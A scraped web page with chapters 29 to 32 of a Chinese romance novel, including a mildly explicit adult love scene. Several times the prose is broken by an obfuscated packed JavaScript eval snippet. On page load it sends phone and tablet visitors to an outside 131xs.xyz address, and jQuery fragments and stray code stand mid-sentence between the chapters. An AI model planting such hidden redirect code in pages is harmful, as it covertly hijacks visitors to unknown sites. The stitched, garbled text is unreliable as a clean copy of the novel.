;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850611|175843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 细微的动静,江未微微垂眼,便看见带着潮湿气息的沈淮棠静静站在距离他两三米的地方。 哪怕是在这样的黑暗中,她的脖颈与手臂都透着月光般的白净。 他只愣了一瞬,便收敛神色,微微一挑眉,似乎在问她雨夜造访有何贵干。 她走路像猫,步伐静悄,举止优柔,速度却很快,靠近后在沙发坐下。 他感觉到沙发的另一端因为重量下陷,也闻到她身上香气与雨水混合的味道,以及轻轻的呼吸声。 可她仍然与他有一段距离,不知何意。 无人开口,气氛却不如以往安好。 江未微微皱眉,面色焦躁,正欲开口打破寂静氛围,却见沈淮棠忽然有了动作——她翕动着鼻尖,倾身在他身边左嗅嗅右闻闻,倒真像是小猫儿了。 他往后一仰:“干什么?” “你喝多少了?”沈淮棠闻到香甜醇厚的酒气,这才注意到茶几上放着的酒瓶已经见底,看来这会儿功夫他没少喝。 江未板着个脸,不准备回答。 她却好似看不见他的情绪,又自顾自地开口问:“你喝的什么酒?” 他微微侧身,有意地回避对话。 沈淮棠却不给他这个机会,灵巧地靠近,柔软的身体与他相贴,面容凑近他的脖颈,顷刻间便是呼吸相闻的距离。 江未被她忽如其来的强硬直球惊了一跳,沙发上却退无可退,连呼吸都紊乱。 他垂眼一看她那双向来淡漠的眼眸,仍然安静,在那更深处,却好似燃烧着冷色的焰火,明亮却并不灼人。 “我刚也喝了,味道不错。”她凝视着他的眼睛,唇角微微勾起一个转瞬即逝的笑容,一只手轻柔地放在他胸膛,感受蓬勃的心跳,“你要不要尝尝?” 江未的视线情不自禁地下移,落在她的嘴唇上。漂亮的,柔软的,像花瓣一样香甜的嘴唇。 他喉结涌动,明显动心,却仍然没有动作,半晌只呵的笑一声:“你这是谁都不放过?端水大师。” 意味不明的话语,沈淮棠却听懂了。 她闻言,故作恹恹,顺着他的话承认道:“嗯,你不喜欢端水大师?” 说话间,她稍微拉开一段距离,放在他胸膛的手也正要撤回——却被他一把抓住,强硬地按了回去。 而他另一条胳膊也绕到她背后腰间,一用力便将她箍进怀中,紧密无间。 比起方才,反而更亲近了些。 “跑什么?”江未恶狠狠地说,“那就开始端水,到我满意为止。” 沈淮棠觉得他凶神恶煞的表情实在可爱,轻轻一笑道:“你吃醋啊?” 江未哼一声,不说话。 她柔柔地靠在他肩膀,故意叹气:“也不知道你在醋什么,我哥给我买生日礼物,有什么问题呀?” “哥什么哥?又没有血缘关系,叫那么好听做什么?”这话说得让江未火气上涌,“不就是辆车,随便你挑,十辆,还是一百辆?” 沈淮棠乐不可支:“哟~看来还是小江总更大方呀。” “你看你对余谨那不值钱的样儿,我真是看不下去,又不是指着他过日子了!” 江未吐槽上头,刹不住嘴,阴阳怪气地学着她方才的样子,撇着嘴掐着嗓音说,“谢~谢~哥~” 29. 疼痛与纠缠 沈淮棠见状竟哈哈大笑起来,这场景实在少见,连江未都下意识呆住,她伸手捏一把他的脸:“我跟余谨在一个户口本上,身份上确实是兄妹啊。” 她一顿,又笑道,“仅此而已了。” 江未人精似的,眼睛一转就明白她的言下之意:“你们后来说什么了?” “发生一点争执,礼物泡汤。”沈淮棠故作哭脸,“我的新车没有啦。” 他听罢有些失望:“早知道就在阳台听下去,回来之后光生闷气了。” “余谨也骂你了。”沈淮棠开始一本正经地造谣,“他问我,是不是江未这个小狐狸精给我使迷魂计了?我说是呀,他痛心疾首,让我不要被皮相所迷惑。” 江未见她说得诚恳,眼皮直跳,仍一脸狐疑道:“余谨说话不是这个风格吧?” “然后我说,那可不行。” 沈淮棠眉毛一挑,凝视着他的眼睛缓缓靠近,纤纤玉手触上他的脸庞,一寸寸抚摸,吐气如兰。 “我对他两次一见钟情,最喜欢就是这张脸,凑近一看发现是理想型,摸一把眉开眼笑,亲一口心花怒放……我怎么可能放他走?” 江未:“……” 他欲言又止,微微张嘴又闭上。 时隔已久,还是掉进给自己挖的坑。 只不过,听到她说对自己一见钟情,还是止不住地眉飞色舞,那双桃花眼迸发出明丽的神采,方才那点酸味也淡了些。 “好吧,努力这么久,最终还是逃不过以色侍人的命运。”江未勉强认下小狐狸精的诨名,将沈淮棠抱得更紧些,捏一捏她柔弱无骨的手,“那按照流程,你看也看了,摸也摸了,是不是该亲一口了?” 说完,他微微俯身低头。 可沈淮棠却在他靠近的时候后撤,错过他的唇,拉开一小段距离。 他不明白她什么意思,疑惑地抬眸。 沈淮棠冷然的眸子凝视他的眼,轻轻一笑:“该是我亲你啊,哥哥。” 这一声哥哥,让江未半边身子如同过电,心跳直接干到二百八,从耳尖到脖颈皆是一片潮红。 到底谁才是小狐狸精?! 江未恼羞成怒地瞧着她无辜的表情,简直说不出话来。 这一下好似回到七八年前,他第一次哄骗沈淮棠叫他哥哥—— 明明开口的是他,大虾似的从头红到脚的也是他,实在丢人现眼——他不久前还信誓旦旦说“你当我八年白活了?” 他到底成长了什么?怎么一到她面前就丢盔弃甲,落花流水。 沈淮棠忽然直起身来,伸出双臂,温柔地搂住他的脖子,缱绻的视线从他的桃花眼缓缓下移,落在高挺的鼻梁。 她凑上前,轻轻与他蹭蹭鼻尖。 ——而后,动作停滞在此处。 等待的煎熬中,他的呼吸逐渐粗重,她却玩闹似的,蜻蜓点水般在他的唇上掠过一个轻飘飘的吻,再次后撤。 江未哪里受得了这般撩拨,一手箍住她的腰不允许离开,另一只手按在她后颈,稍一用力,强迫她微微抬头—— 他重重吻下去,香甜的酒味芬芳肆意,她吮咬他的嘴唇,越激得他难以忍受,望向她的眼神倒像是某种狩猎的兽类。 她越逃,他就越要将她一把扯回,打闹间领口被拽开,慌乱间露出一片雪白。 气氛迷离旖旎,沈淮棠伸手去解江未的腰间皮带,这一举动似乎带着暗示,他眼神一亮,垂眸吻吻她的鼻尖,起身将碍事的衬衣脱去,露出精壮的线条。 而后,江未直接将她整个人抱起,坐在他的臂弯,她猝不及防惊呼一声,抱住他的头,却又笑起来,俯身吻他的脸与唇。 窗外的雨越下越大,噼里啪啦的声响遮盖细微的呻吟。 许久过后,江未抱着精疲力尽的沈淮棠进浴室清洁,她几乎站不住,只能支撑着体力尚好的江未。 这会儿他酒也醒的差不多,为她擦拭身体时,见到雪白之中多有痕迹,多少有些赧然与后悔。 他似乎需要疼痛与纠缠才能宣泄爱意与不满,要用力的撕咬与啃噬……才能平息那不知从何而来的,微小的似泡泡一般的施虐欲,猫爪般在他身体里抓心挠肝。 那是他难以控制的痛苦的中和剂,似是对沈淮棠失而复得后,需要反复用蛮力来求证她真真切切存在,而非虚幻梦境。 从江未知晓沈淮棠在鹤城,直到如今与她重新亲密,这等待与煎熬实在太过漫长……绝望与失落又成欲壑难填的深谷。 他坠落其中,唯有疼痛才能提醒他还活着,活到重新将她拥入怀中,紧紧十指相扣,如此,才能让他感觉找到归处。 哪怕,她只是看上他的好颜色。 不管是这漂亮的皮囊,还是身体,若是她要,尽可拿去。 反正他已经习惯,作为一个有用工具的存在在世间。 只要他对她还有用。 只要她还肯要他。 江未将不可言说的思绪掩在眼眸深处,细细抚摸着沈淮棠身上那一道细细的伤口,有些心疼:“疼不能?给你涂药膏。” “你是狗吗?咬这么狠?在我身上做标记呢?”沈淮棠抬手想打他,又没力气折腾,于是挥手命令道,“我累了,想睡觉,抱我去床上。” 江未听得心痒,她疲惫时,语调轻轻,像是在抱怨,又像是撒娇。 他任劳任怨地又抱她重回柔软大床,给她盖好被子,将她圈在怀中,仔仔细细地亲亲她的额头,鼻尖和嘴唇。 直到她有些不耐烦了,他这才平静些许,而后用力抱着她,一同睡去。 这场雨不眠不休,一直下到半夜。 淅淅沥沥的雨声中,沈淮棠困顿地睁开眼睛,她有些热,稍稍动一下,才意识到她被江未从背后抱着。 他的胸膛紧贴在她的后背,炽热的温度环绕而来,还有沉稳的心跳声,咚咚,咚咚,带着陌生的熟悉感。 沈淮棠缓了缓,仍是觉得热,于是推开他横亘而来的手臂,撑起胳膊肘支起上半身,将被江未压住的发尾收回,这才后知后觉地浑身酸痛,简直像被人从头到脚殴打了一遍。 她无声地龇牙咧嘴,瞪了熟睡的江未一眼,这家伙平日里瞧着温文尔雅,发起酒疯来倒像野兽捕食般,真是人不可貌相。 趁着他睡着,沈淮棠想掐他一把报个私仇,然而江未却忽而眉头紧皱,似是做了什么噩梦,轻轻嘟囔一声“阿棠”。 她伸过去的手改变方向,摸了摸他的脸,他又逐渐放松,重新陷入深眠。 沈淮棠凝视江未安然的睡颜,俯身在他额头印下轻柔一吻,这才坐起身来。 昨晚她穿的裙子已经淋过雨,闹过一场也不知丢哪去了,她光着脚在木地板上行走,从江未的衣柜里挑拣了一件宽松的T恤,衣摆遮过大腿,勉强能当做裙子穿。 这会儿她腹中饥饿,肚子叫个不停,又转而去客厅溜达一圈觅食,终于找到一包吐司,当时就开包装狼吞虎咽起来,连噎着都只是倒了杯凉水送食。 沈淮棠才刚吃完一片吐司,连手指上的面包屑都没来得及收拾干净,就听见卧室里突然传来咚的一声巨响。 像是某种重物落地,随即是慌慌张张的脚步声。 紧接着,满身凌乱的江未炮弹发射一般冲了出来,不知发生什么火烧眉毛的事情,他甚至只来得及随便扯了一件衬衣。 然而,当他看到蹲在沙发上吃吐司的沈淮棠时,又立时定在原地。 他呆呆地看着她,好半晌才低声喃喃道:“阿棠,你没走啊……” 沈淮棠勉强吞咽干柴的面包,又喝了点水才顺下去,这才莫名其妙开口道:“大半夜的,我走去哪儿?” 江未支支吾吾:“没事,我以为……” 沈淮棠了悟:“你以为我睡完就跑,拔那什么无情,呵,原来在你心里我就是这种人。” 他沉默地挠挠后脑勺,解释道:“毕竟昨晚我们都喝酒了,你完全可以推卸责任给酒精。” “成年人,还要推卸责任给酒精?”沈淮棠一抬脸,眼神凌厉,“还是说,你准备推给酒精?” “当然没有。”江未赶紧摆摆手否认,而后满脸难掩的期待又要故作矜持地试探道,“既然如此,那我们……我们的关系……你愿不愿意……” 沈淮棠斩钉截铁:“不愿意。” 江未气急败坏:“那你这和拔那什么无情有什么区别!” 她面容严肃,指着身上的痕迹振振有词:“你还敢提?” 啊这确实。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850612|175843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>江未脖子一缩,随之而来的是铺天盖地的愧疚,他咬咬嘴唇:“抱歉,是我错了,我一定痛改前非。” 沈淮棠瞬间恢复冷漠的表情:“那你先去把裤子穿上。” 江未:“……” 等江未衣着整齐地从卧室里出来,已经完全调节好失控的情绪,也接受了眼前的事实——以色侍人哪有第一次就能上位的,只要肯吃苦耐劳,未来可期! 沈淮棠还在啃那干巴巴的面包,江未装作若无其事地说:“看着不太好吃。” 她叹口气:“太饿的时候也挑不了。” “我看看这里还有什么食材。”江未转身去了厨房,打开冰箱,“主食只有意面,还有一点午餐肉,和鸡蛋,哦还有用来做沙拉的菜叶子,凑合做吧……太饿的时候,也挑不了。” 江未用酒店里提供的电磁锅烧水煮面,熟练地打了鸡蛋,沈淮棠抱着胳膊靠在门框上,看着他高大的背影,笑说:“真是想不到,小江总挺贤惠。” 他回头瞥她一眼,挥挥手说:“玩儿去吧,做好了给你端来。” 有了新的盼头,沈淮棠当即抛弃吐司,窝在沙发上打开电视,选了个肥皂剧,撑着腮帮子看起来。 没过多久,江未端着热气腾腾的面条过来放在茶几上:“只有叉子和勺。” 她并不介意,从善如流地挪到地毯上,盘着腿,边看电视边西里呼噜地吃完了这极为简单的一餐。 江未边吃边叹气:“这里伙食确实不大行,等回去了,再带你吃点好的。” 待他刷完碗,擦净手,从厨房走出来时,见到沈淮棠又在沙发上缩成一团,当即往她身边一坐,熟门熟路地把她圈道怀里来。 沈淮棠忙着看剧,没顾得上,便随他去了,可他很不老实,抱着她就控制不住地亲亲额头亲亲脸,又埋首咬她的耳朵和脖子,像个小动物似的啃来啃去。 她推开他的脸,严肃谴责:“你刚刚才说要痛改前非。” 他无辜地说:“我就亲亲你。” “疼,疼,疼!听不懂吗?”她一字一顿地控诉,朝他胸口狠狠捶一拳,随即要从他怀里挣脱出去。 沈淮棠都要后悔了,亲密接触仿佛打开他某个无法自控的开关,管也管不住。 “对不起对不起,我不咬了。”江未见状不对,赶紧道歉恳求,“再给我一次机会,好不好?” 这一回,江未终于乖了,老老实实开始拿手机处理工作,虽然一只手还忍不住地绕着她的发尾。 沈淮棠歪在他怀里,暖呼呼的感觉伴随着饭后困,不知不觉便陷入睡眠。 再次醒来时,又是在柔软的大床上。 她困倦地翻身,正好瞧见江未在不远处的衣柜挑选衣服,发出细微的窸窸窣窣的声音。 沈淮棠这才迷迷蒙蒙地眨眨眼,困惑地问道:“你要去哪儿?” 江未回头:“是我吵醒你了吗?” 他走到床边坐下,将沈淮棠的额发挽至耳后,俯身在她眉间印上一吻,“我有紧急的工作,需要出岛一趟,等会儿就走了,你有什么需要我带回来的东西吗?” 她毫不犹豫:“好吃的。” 不得不说,这里伙食太差了。 江未被她坚毅的表情逗乐:“行,你再多睡会儿吧。” 她点点头,默默地看着他为她盖好被子,指腹亲昵地刮刮她的鼻尖,而后拖着行李离开房间。 最后哒的一声,是他关上房间大门。 忽然间,房间陷入一片荒芜的寂静。 她的眉间还残留着他的温度,一同盖过的被子里还有他的味道,甚至在闭眼时,脑海里都能重现方才他坐在床边时的音容笑貌。 时钟的走动声突然变得极为清晰,滴答滴答,敲打在她心脏。 不知怎么回事,空落落的。 她盯着天花板发呆,试图用理性去分析原因。 他们最近长时间都在一起。 他们一直都相处甚好。 他们昨夜发生肌肤之亲。 所以她只是习惯了。 所以她只是被多巴胺和催产素控制。 所以她……所以她真的有点想他,哪怕他们才刚刚分开。 可是为什么,会有要流泪的冲动。 30. 难以离开 就在此时,沈淮棠突然听见大门重新被打开的声音,接下来是一串急促的步伐。 她预感到什么,心脏开始猛烈地跳动,才刚刚直起身子,便见到江未从外面疾步而来,用力地将她抱在怀中。 冲击感过于强烈,沈淮棠尚未反应过来,便本能地回应了那个拥抱。 江未埋首在她的脖颈之间,力气大得几乎要将她揉到身体里去。 紧贴之中,她感觉到他的颤抖,抬眸后却发现江未的眼眶竟然红了,眼睛也泛着明亮的水光。 他们长久对视,江未竟露出一个轻轻的笑容,伸手抚摸她的长发:“这次一定要等我回来好不好?不能突然消失。” “好。”沈淮棠重新抱住他,双手攀上他的脊背,轻柔的抚摸给予安慰。 江未几乎难以离开她。 他拥着她,滑落跪坐在床边,双臂收紧抱着她的腰部,贪婪地嗅着她的气味,感受她的皮肤的温度,让她一直抚摸着他的后背,很久很久才将泛滥的情绪克制住。 他抬头看向她,眼里仍是破碎的不舍:“我真的要走了。” 这一次,沈淮棠将江未送到港口。 眼见着他上了船,站在甲板上同她挥手,她站在港口看了很久,直到渡轮消失在海平线,这才重新回到住处。 从昨天放下手机开始,她就没有再看过,这会儿拿起来,不出意外地有一长串未读消息。 最顶上的竟然就是刚刚离开的江未,他发了一堆小狗狂哭的表情包,最后一句是:“好想你。” 突然的分开似乎诱发他某种应激反应,比如难以自持的分离焦虑,以及需要及时安慰的退行行为。 沈淮棠知道这与她之前出事脱不开关系,于是回复一个小猫咪摇头晃脑的表情包:“等你~” 那边立刻显示“正在输入中……” 沈淮棠等待片刻,却未等到新消息。 他似乎在斟酌,袒露负面情绪过多是否会引起她的反感。 如此地敏感乖觉。 以前的江未不是这样的。 在梦港岛上,相比于孤僻寡言的沈淮棠,江未总能交到新朋友。 他像是一团火,走到哪里都能吸引他人的目光,在人群的中心。 她跟着他,像是顺从基因里的趋光性。 有一回,岛上来了新客,竟是两位同龄人,实在不多见。江未和他们聊上三两句,便约了与本地朋友一同打篮球。 梦港岛上只有一个小小的破旧的篮球场,在沈淮棠去医院的必经之路。 远远地,她就听见男生们喝彩的声音。 对于沈淮棠来说,篮球不过是一项普通的运动罢了,以往在鹤城学校时,体育课上她也学过篮球,也见过不少男生女生用篮球炫技,可从未有谁能吸引她的目光。 然而在经过篮球场时,她还是难以自控地朝里面看了一眼。 江未平日懒散闲适,上球场后倒像是换了一个人。 他长相漂亮,穿着红色球衣与黑色护膝,奔跑在风里,头发飘扬,轻巧抛投或强硬暴扣,都英姿勃勃得像是场中唯一发光体。 得分后,他放肆大笑,得意洋洋地同对手做鬼脸,幼稚傻气得让人发笑。 沈淮棠见状,不动声色地抿抿唇。 江未却在友人的提醒之下转了个身,目光正好撞进她眼里,他眉毛一扬,举起双臂跟她打招呼:“小哑巴!” 她想走,脚步却生根,眼睁睁见着江未大步跑来,离她越来越近。 “我一身汗,不挨着你。” 他在她面前停住脚步,一头乱发,鼻尖沁出汗珠,举起冰冻的饮料,笑嘻嘻地问,“要不要喝可乐?” 沈淮棠摇摇头,江未满不在乎地颔首,哒的一声,他单手开了易拉罐,仰头将大半罐碳酸饮料倒入喉咙,咕噜噜的声音像是谁不为人知的情绪。 他的个子很高,她只能仰头看他,阳光在他身后,强烈璀璨得让她都睁不开眼。 江未注意到她微微眯起的眼睛,拽着她衣袖到树荫底下:“到这里来,凉快些,你别晒着了。” 枝繁叶茂的玉兰花树被风吹得簌簌而响,一束阳光正好落在他肩上。 他抬头看到压低的枝丫,顺手摘下一朵盛放的洁白花朵,送至她面前,笑吟吟地问:“漂不漂亮?送给你。” 喝完饮料,短暂的休息结束,江未对她抬抬下巴:“走了。” 他又重新回到球场,与同伴开几句玩笑,便开始下一场比赛。 等沈淮棠从医院出来,他们早已结束,她看着空空荡荡的球场,好似还能看见他奔跑的身形。 她绕路去了栖居,只有达拉斯坐在门口做木雕,见她来了,停下手里的活儿和善一笑:“他去学校了。” 沈淮棠耳根有些红。 她还什么都没有问呢。 回家后,她将那支玉兰插起来,芬芳的气息充满整间卧室。在等待药效起来的那段难熬的时间里,勉强让她松一口气。 从初见至今,沈淮棠明白自己应该是喜欢江未的,可她自顾不暇,根本没有任何心里去思考体会情窦初开的滋味,更别提要发展维系。 她单纯地赞叹,世间能有如此耀眼的人,真好,多看一眼都很值得。 因此,就算后来江未对她的关注度直线上升,她也绝不愿意越雷池一步。 他们并不般配,她想,他再闪耀,也只是划过的一颗流星。 就像那朵玉兰,盛放一时,终要凋落。 既然如此,何必开始呢? “阿棠,今天也要拒绝我吗?” 得到肯定的答案后,江未也并不在意,双手背在身后,仍旧笑嘻嘻地在她面前晃悠,而后将一束新鲜的向日葵送至她眼前,“好吧好吧,不过,今天天气很好,要不要跟我去海边喂海鸥?” “出彩虹了,阿棠,要答应我吗?这样的话,以后只要出彩虹就是纪念日哦。” “阿棠,我们来打赌,等下会变成暴雨还是停雨,如果我赢了,你就答应我好不好?我猜是——暴雨!天灵灵地灵灵,要是成了我就装一罐雨水供起来。” “亚超打折,我买了三袋豆沙包,要不要吃?我在包子里塞了硬币,对,那个破口的就是,谁吃到了谁就要给我当女朋友——恭喜这位沈小姐……诶诶诶, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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哪怕现在还因为各种难以越过的心理问题而犹豫着,但没有关系,他有无穷的耐心等待她点头。 因为江未笃定,沈淮棠绝不会离开他。 ——直到她人间蒸发。 江未方后知后觉,原来他们的脚下是结冰的湖面,最薄弱的地方开裂,就会全方位坍塌。 他如坠冰窟,自负消融。 岁月将她的离开无限拉长,今后的每一个夏天都是那年夏天的忌日。 生活继续,江未遮住伤口前行,哪怕后来与沈淮棠重逢,也不敢用力过猛。 他们之间的关系好似调转。 当年是他对她予取予求,给精神孱弱的她搭建一个随时可回的安乐窝,而今他却如履薄冰,只能费劲心力一步步靠近,生怕让她产生不适后转身离开。 这一回,沈淮棠毫无顾虑,确认心意后坦率而行,可昨夜之事倒似将江未多年的伪装划开一道裂口。 他的平静终于难以为继,懊悔与委屈倾泻而出,险些将她淹没。 意气风发的少年郎变成如今这般,沈淮棠多少有些于心不忍。 她微微撑住太阳穴,指腹轻揉。 思索太入神,神经突突地有些疼痛。 然而她仍然感觉有些重要的事情尚未想起来,只差临门一步。 到底是什么呢? 31. 兄妹 手机忽然震动两下,扯回沈淮棠的注意力,她点亮屏幕,看到来自余谨的信息。 他说:抱歉,昨晚突然挂断电话,我认为我们应该面对面聊聊。 如果你愿意的话。 还有来自余慈的信息,她不知昨夜情形,还在高高兴兴地挑选餐厅,准备等沈淮棠回去以后,补过生日。 沈淮棠不知应该回复什么,有些无奈地抓抓头发,这社交问题也太过棘手。 梦港岛的雨已经彻底停了。 沈淮棠收拾好物品,独自去海边游泳。 她在海水里随波逐流感受潮流涌动,蓦然想起江未之前说,她的游泳是他教的,教学地点就是梦港岛的海边。 现在想想,江未那会儿可真虎啊,直接就把毫无游泳经验的她丢进海里,也不怕出什么意外。 要想问责,他倒是理直气壮:“我就是在海里学会的,你肯定也能行啊,别害怕,有我呢。” 所幸她天生水性尚可,与他打打闹闹也学会游泳,不至于做个永久性旱鸭子。 此时,沈淮棠从海面冒头,抹了把脸,瞧见不远处有一对夫妻在教两个小孩游泳,一家四口热热闹闹,笑声传得很远。 在她十八九岁的时候,某次余谨余慈放假,一同来梦港岛探望她。 余谨不喜欢游泳,能接受的最大限度是是在岸边看着她俩玩水。余慈闹他,让他也下来,却被凶了两句。 他是个相当要面子的人,自尊比天高,为了不被妹妹们看扁,竟然半夜偷偷去泳池里自己练习,险些溺水,被捞上来后在屋里自闭了三天不肯出来。 因为此事,他再也没有下过水。 余慈幸灾乐祸,显然苦亲哥久矣,趁机冷嘲热讽:“以后洗澡前都得做做心理准备,万一溺水了呢?” 沈淮棠能够理解余谨身上超过他这个年纪的重担,因为曾经的她亦是如此。 但不同的是,她苦心于维持现状,他却力求万事做到优秀——然而,人非机器。 高中时,沈淮棠与母亲在鹤城生活,云姨他们偶尔回国,两家也多有走动。 有一回,学校要开家长会,正好碰上沈如风在住院,云姨也有工作要忙,抽不开身。 沈淮棠早就习惯家长会家长缺席,特殊情况嘛,她坐在书桌前,撑着腮帮子,百无聊赖地转着笔,等待着其他同学和家长陆续入座。 身后忽然传来一阵小小的喧哗,她偏头望去,竟然见到一位身材高大的青年逆着光走进来。 有活泼的女同学发出欣喜调侃的笑声:“哇,谁家家属?真帅!” 等他的面容逐渐清晰,正是被云姨临时支使来的余谨。 沈淮棠莫名觉得他一身正气,脊背挺直,扣子一丝不苟地扣到最上面,一双沉压压的眼在教室内扫视着,似乎在寻找什么,比平时还要严整。 她微微一愣,回过神后,高高举起手臂挥舞,余谨终于见到她,稳稳当当地走过来,拉过椅子坐下。 “你怎么来了?”沈淮棠见他眉头紧皱的模样,还给他倒了杯水,让他放松些。 “临危受命。”余谨没详细解释,一口气喝了半杯,又侧过身,在她耳边压低声音说,“我第一次参加家长会,有什么需要做的?” 沈淮棠轻轻笑:“没什么要做的,签到之后,等老师讲话就行了,最多会在结束以后找你去单独沟通一下我在学校的表现,或者成绩问题。” “单独沟通?”余谨如临大敌,皱眉问道,“你成绩很差么?” “那倒也还行,没有拔尖的科目,也没有拖后腿的,整体算是稳定。”她将期中考成绩单推过去,让他过目,“只是我家长从没来过,老师想沟通也无门,这次难得见一回,可不得多说几句。” 沈淮棠说得轻巧,余谨听了面色却更不好,她还以为是他不满意成绩呢,张张嘴想要解释,却又不知从何说起。 谁知,余谨却在桌子底下碰碰她的胳膊肘,她低头,看见余谨将握着的拳头一摊开,手心里是两颗奶糖。 她的心情一下就雀跃起来,拈起其中一颗,剥开糖纸,将奶糖丢进嘴,甜丝丝的味道沁进心里。 余谨将另一颗吃了,才刚一咬,老师就走上讲台,准备开始家长会。 兄妹俩只得紧紧抿着唇,表面上露出比谁都认真的表情,心里却因为这短暂一刻,共守着一个小小秘密而雀跃。 正如沈淮棠的猜测,在家长会结束之后,班主任找余谨单独聊了几句。 等他回来,她都做好心理准备,事事都在追求出色的余谨会说教几句。 结果他却替她收拾起书本,若无其事地说:“走吧,阿慈在外面等我们,今晚咱仨自己解决晚饭,想吃什么?” 她觉得奇怪,瞟一眼走廊上和其他家长交流的班主任:“老师跟你说什么了?” “没说什么,就问了我是谁,让家里人多注意你的状态,马上高三,功课得排第一位。”余谨的动作停滞一瞬,又道,“不过,你家庭情况老师也清楚,所以也没苛责,只是说尽力就行。” 听罢沈淮棠放下心来,没再想这问题。 家长会当天,年纪轻轻的余谨坐在家长席中的确很出众,次日沈淮棠被三两个同学围起来八卦。 怎么从来没听说过家里有这么一位大帅哥,虽然高冷严肃,但真的吸引人。 “长得真好看,好羡慕你,我回家看到我哥那张脸就想邦邦给他两拳。”同学哈哈大笑,“有没有联系方式?” 为了尊重余谨的意见,她发信息询问,待下课再看回复,他撤回三条,最后只得一句“别想东想西,好好学习”。 实在无趣得很。 沈淮棠却满脸我就知道的表情,余谨此人少年老成,年轻的身体里住着一个索然寡味的老头子。 少年时期,余谨和他爸闹得最凶,但多以余谨的妥协顺从作为结束。 区别于控制欲,他爸对他是无尽的严格,做得好是应该,做不好就要接受惩罚,像是要亲手将他打磨成最工整方正的栋梁之材。 “别跟你妈似的,散漫贪玩,没心没肺,毫无责任感。” 这是他爸的原话,里面的“妈”当然不是指云姨,而是生下余谨又不要他的亲妈。 而他的父亲也不像是父亲,而是老板,上司,一个权力永远高过他的上级。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850614|175843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 云姨甚至都为余谨和丈夫吵过数次,但她到底是后妈,怎么都难做,余谨也不希望他们因为自己产生龃龉。 沈淮棠每次看到被父亲训完的余谨,像是一个所有机能都耗尽的机器人,只剩下点头摇头的动作。 他连反抗和抵触的情绪都消失了。 那时候余慈还很年幼,看到他这样子就会哭,像是在替他流泪。 沈淮棠站在余谨的房门口,余谨在床上直挺挺躺尸,僵硬地像是在冰柜里冻了十年的鱼。 她犹豫片刻,走至床边伸手探他鼻息。 “没死。”他冷冰冰地说,顺势睁开眼,却没有看她,只是盯着天花板。 “你有新游戏机了是不是?”她坐在他床边,视线逡巡,百无聊赖地说,“你现在忙着生气,没空吧?给我玩。” 余谨没说话,伸手往某个方向一指。 沈淮棠点亮屏幕,拿着手柄乱按一通。 余谨敏锐地察觉声响不对,诈尸般气活了,飞鱼导弹般弹射过去,一把将手柄抢回来:“我重新买一个给你,这个你别动了,是云姨送给我的,可别弄坏了。” 沈淮棠当然不理他,选了个双人格斗游戏,拿起另一个手柄:“教我打这个。” 余谨沉默一瞬,认命叹气。 她并非完全不会,又或者说,学得飞快,理解游戏模式后就开始大杀四方。两个人较劲似的打起来,不论输赢,最终都落在一句“再来一局”。 余谨将所有情绪都发泄在游戏里,面色不虞,咬牙切齿地按着手柄。 沈淮棠却冷静得多,手速却半点也不慢,甚至因为熟悉上手而愈来愈好。 所以,软乎乎的余慈端着一盘水果进来找他们时,被房间里的低气压吓了一跳。 余谨神色冰冷,后槽牙都要咬碎了,沈淮棠面容闲散,平静的眼里却锋芒毕露。 直到这一局结束,他们同时松口气,放下手柄,零零总总一算成绩,还是余谨略胜一筹。 沈淮棠敷衍地奉承:“你赢了。” “手下败将。”余谨得意地冷哼一声,想到什么后又垮下脸来,“赢了又有什么用?我也不做电竞选手。” “什么都要寻找意义,累不累?”沈淮棠不以为然地尝一口冰糖橙,“我也没什么用,不也活着吗?” 余慈听罢深以为然:“我也没什么用。” 沈淮棠被逗乐,贴贴妹妹肉嘟嘟的小脸儿:“宝宝,你是一块小蛋糕。” 余慈也亲昵地依偎着她蹭来蹭去:“姐姐,你是一碗抹茶冰沙。” “咦?为什么是抹茶冰沙?” “因为喜欢吃,但妈妈不让多吃,我很想念。”余慈一本正经地说,“就像我喜欢姐姐,希望姐姐是我的亲姐姐,但不能常常见面,我很想念。” 沈淮棠抱住她:“我也想念你。” 见到她们相亲相爱,余谨受到感染,勉强松口气,释然一笑,逗余慈道:“那哥哥是什么?” 余慈在沈淮棠怀里转过头来,毫不犹豫地说:“咸鱼干。” 在余谨龟裂的表情中,她认真地比划,“就是那种硬邦邦的,咸鱼干。” 32. 等待的意义 沈淮棠不禁感叹,姐妹连心,连脑回路都如此相似。 